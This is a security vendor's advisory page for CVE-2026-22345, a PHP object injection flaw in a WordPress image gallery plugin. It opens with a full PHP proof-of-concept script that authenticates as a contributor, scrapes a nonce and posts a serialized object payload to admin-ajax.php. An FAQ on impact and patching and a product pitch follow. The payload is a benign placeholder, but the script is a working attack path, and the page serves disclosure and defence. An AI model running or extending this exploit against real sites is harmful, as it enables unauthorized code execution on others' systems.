// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-22345 - Image Gallery – Lightbox Gallery, Responsive Photo Gallery, Masonry Gallery <= 1.6.0 - Authenticated (Contributor+) PHP Object Injection

<?php
/**
 * Proof of Concept for CVE-2026-22345
 * Requires contributor-level WordPress credentials
 * Demonstrates PHP object injection via gallery settings deserialization
 */

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$gallery_post_id = 123; // Target gallery post ID

// Malicious serialized object payload
// This example uses a generic stdClass object - real exploits require specific POP chains
$malicious_object = new stdClass();
$malicious_object->injected = true;
$malicious_object->payload = 'Demonstration of object injection';
$serialized_payload = serialize($malicious_object);
$base64_payload = base64_encode($serialized_payload);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a cookie jar for session management
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_22345');

// Get login page to retrieve nonce (log in to WordPress)
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_USERAGENT => 'Atomic-Edge-PoC/1.0'
]);
$response = curl_exec($ch);

// Extract login nonce (simplified - real implementation would parse the HTML)
// WordPress uses 'log' and 'pwd' parameters for login
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_fields),
    CURLOPT_REFERER => $login_url
]);
$response = curl_exec($ch);

// Step 2: Update gallery post metadata with malicious payload
// The vulnerability exists in the gallery settings meta key: awl_ig_settings_2538
$meta_key = 'awl_ig_settings_' . $gallery_post_id;

// WordPress provides multiple ways to update post meta:
// 1. Via AJAX (wp_ajax_save_gallery_settings if exists)
// 2. Via REST API (if enabled)
// 3. Via direct post update

// Method: Direct post update through admin-ajax.php
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// First, get a valid nonce for gallery updates
// The plugin uses 'igp_add_images_nonce' for gallery operations
// We need to extract this from the gallery edit page
$edit_url = $target_url . '/wp-admin/post.php?post=' . $gallery_post_id . '&action=edit';
curl_setopt_array($ch, [
    CURLOPT_URL => $edit_url,
    CURLOPT_POST => false,
    CURLOPT_POSTFIELDS => null,
    CURLOPT_REFERER => $admin_url
]);
$edit_page = curl_exec($ch);

// Extract nonce from the page (simplified - real PoC would use DOM parsing)
// The nonce is in: <input type="hidden" id="igp_add_images_nonce" name="igp_add_images_nonce" value="[NONCE]" />
preg_match('/name="igp_add_images_nonce" value="([a-f0-9]+)"/', $edit_page, $nonce_matches);
$gallery_nonce = $nonce_matches[1] ?? '';

if (empty($gallery_nonce)) {
    echo "Failed to extract gallery nonce. The user may not have edit permissions for this gallery.n";
    exit;
}

// Prepare the malicious gallery settings payload
// The plugin expects base64-encoded serialized data
$payload_data = [
    'action' => 'save_gallery_settings', // Plugin-specific AJAX action
    'post_id' => $gallery_post_id,
    'gallery_settings' => $base64_payload,
    'igp_add_images_nonce' => $gallery_nonce
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($payload_data),
    CURLOPT_REFERER => $edit_url
]);

$ajax_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: " . $http_code . "n";
echo "Response: " . $ajax_response . "n";

if ($http_code === 200 && strpos($ajax_response, 'success') !== false) {
    echo "[SUCCESS] Malicious gallery settings injected.n";
    echo "The payload will be deserialized when the gallery loads.n";
    echo "Base64 payload: " . $base64_payload . "n";
    echo "Serialized payload: " . $serialized_payload . "n";
} else {
    echo "[FAILED] Injection attempt unsuccessful.n";
    echo "Possible reasons: Invalid nonce, insufficient permissions, or plugin AJAX handler not found.n";
}

// Cleanup
curl_close($ch);
unlink($cookie_file);

// Note: This PoC demonstrates the injection mechanism with a benign object.
// Real exploitation requires identifying available POP chains in the target environment.
// The plugin itself contains no known POP chains, but other plugins/themes may provide them.
?>

Frequently Asked Questions

What is CVE-2026-22345?
Overview of the vulnerability
CVE-2026-22345 is a high-severity vulnerability in the Image Gallery – Lightbox Gallery, Responsive Photo Gallery, Masonry Gallery plugin for WordPress, affecting versions up to 1.6.0. It allows authenticated users with contributor-level access or higher to exploit PHP object injection through unsafe deserialization of gallery settings.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from the use of unsafe deserialization in the plugin, where user-supplied data is processed without proper validation. Attackers can craft malicious serialized data to inject PHP objects, potentially leading to arbitrary code execution if a suitable property-oriented programming (POP) chain exists.
Who is affected by this vulnerability?
User roles and versions at risk
Users with contributor-level access or higher are affected by this vulnerability. Additionally, any WordPress site running the new-image-gallery plugin version 1.6.0 or earlier is at risk.
How can I check if my site is vulnerable?
Identifying affected installations
To check if your site is vulnerable, verify the version of the new-image-gallery plugin installed. If it is version 1.6.0 or earlier, and you have users with contributor privileges, your site is at risk of this vulnerability.
What steps should I take to mitigate this issue?
Immediate actions to secure your site
Immediately update the new-image-gallery plugin to version 1.6.1 or later, which contains the necessary security patch. Additionally, review user roles and limit contributor access if possible.
What does the CVSS score of 7.5 indicate?
Understanding the severity level
A CVSS score of 7.5 indicates a high severity vulnerability, meaning it poses a significant risk to affected systems. It suggests that exploitation is relatively easy for an authenticated attacker and could lead to severe consequences, such as remote code execution.
What is a PHP object injection vulnerability?
Technical explanation of the vulnerability type
PHP object injection vulnerabilities occur when untrusted data is deserialized into PHP objects without sufficient validation. This can allow attackers to create arbitrary objects, potentially leading to unauthorized actions or data exposure.
What is a proof of concept (PoC) in this context?
Demonstration of the vulnerability
The proof of concept for CVE-2026-22345 illustrates how an attacker can exploit the vulnerability by crafting a malicious serialized object and injecting it through the gallery settings. It serves as a demonstration of the exploitation method and the potential impact.
What are the potential impacts of this vulnerability?
Consequences of successful exploitation
Successful exploitation of CVE-2026-22345 can allow attackers to execute arbitrary code, delete files, or access sensitive data. The actual impact depends on the presence of other vulnerable plugins or themes that could facilitate further exploitation.
How does the patch address the vulnerability?
Improvements made in the updated version
The patch for CVE-2026-22345 replaces the unsafe deserialization method with a secure alternative, effectively preventing arbitrary object instantiation. It also enhances data validation and removes error suppression, improving overall security.
What should I do if I cannot update the plugin immediately?
Temporary measures to reduce risk
If you cannot update the plugin immediately, consider disabling it to prevent potential exploitation. Additionally, review user roles and limit access for contributors until the plugin can be updated.
Are there any known exploits in the wild for this vulnerability?
Current status of exploitation
As of now, there are no known exploits in the wild specifically targeting CVE-2026-22345. However, due to the high severity and the nature of the vulnerability, it is advisable to take precautions and apply the patch as soon as possible.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations